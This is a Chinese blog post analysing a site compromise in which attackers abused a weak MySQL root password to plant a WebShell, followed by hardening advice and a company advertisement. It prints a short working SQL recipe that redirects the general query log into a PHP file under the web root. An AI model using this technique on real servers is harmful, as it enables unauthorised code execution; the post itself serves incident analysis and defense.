記一次網站被攻擊 WebShell 分析

antted發表於2019-08-30

故障現象

某客戶網站訪問出現異常,明顯是被攻擊了並植入廣告了。

先處理完了被修改的檔案,恢復訪問,要分析一下原因,以防止下次被重新攻擊。

攻擊分析

起初是懷疑程式問題,檢查了很久沒發現問題,隨後懷疑環境配置問題,最終根據日誌資訊找到原因。

總結起來,就是利用了MySQL的root弱口令通過寫入檔案的方式拿到WebShell。

如果出現MySQL出現弱口令,比如如下場景:

  • phpStudy 安裝後沒有修改預設 root 使用者的密碼
  • 其他一些繼承環境沒有修改預設 root 使用者的密碼

使用自帶的 PhpMyAdmin 或者其他工具連線進入 MySQL 執行環境,執行如下 SQL:

set global general_log='on';
SET global general_log_file='C:\\phpstudy\\PHPTutorial\\WWW\\test_shell.php';
SELECT '<?php phpinfo();?>';

執行後就會將以下內容寫入 C:\phpstudy\PHPTutorial\WWW\test_shell.php 檔案。

C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
           28 Init DB   test
           28 Query SHOW TABLES FROM `test`
           28 Query SHOW TABLE STATUS FROM `test`
           28 Quit  
190830 10:04:09    29 Connect   root@localhost on 
           29 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
           29 Init DB   test
           29 Init DB   test
           29 Query SELECT '<?php phpinfo();?>'
           29 Query SHOW VARIABLES LIKE 'profiling'
           29 Query SHOW TABLES
           29 Quit  
190830 10:10:03    30 Connect   root@localhost on 
           30 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
           30 Init DB   test
           30 Query SHOW TABLES FROM `test`
           30 Query SHOW TABLE STATUS FROM `test`
           30 Query SELECT CURRENT_USER()
           30 Query SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''localhost''' AND PRIVILEGE_TYPE='EVENT'
           30 Query SELECT CURRENT_USER()
           30 Query SELECT `PRIVILEGE_TYPE` FROM `INFORMATION_SCHEMA`.`USER_PRIVILEGES` WHERE GRANTEE='''root''@''localhost''' AND PRIVILEGE_TYPE='TRIGGER'
           30 Quit  
190830 10:10:05    31 Connect   root@localhost on 
           31 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci'
           31 Quit  

之後不多說,只要能有機會寫入系統檔案,基本上就無敵了。

如何防範

  • 關閉資料庫 MySQL 3306 埠的遠端訪問許可權(使用防火牆遮蔽遠端埠訪問),其他軟體(如 Redis 等)也是相同,關閉遠端訪問,可以解決掉由於軟體本身Bug導致的攻擊
  • 避免使用弱密碼(任何系統都要注意修改掉預設的弱密碼)
  • 使用開源整合環境時,要注意預設的一些配置(比如探針等),關閉一些不用的功能
  • 如果一個伺服器安裝多套系統時,要注意不同系統之間的環境、許可權隔離,避免由於一個系統淪陷導致整個伺服器淪陷
  • 有技術基礎情況下優先使用Linux伺服器,至少我們覺得從許可權角度還是運維上,相對於Windows都要安全很多(見仁見智)

最後打個廣告,我們(Antted)是一個有熱情的團隊,Antted 提供專業系統開發、系統搭建、伺服器運維整體解決方案,對於技術我們懷有敬畏、謹慎的態度,讓技術更好的為您的業務服務。

系統開發 soft.antted.com

相關文章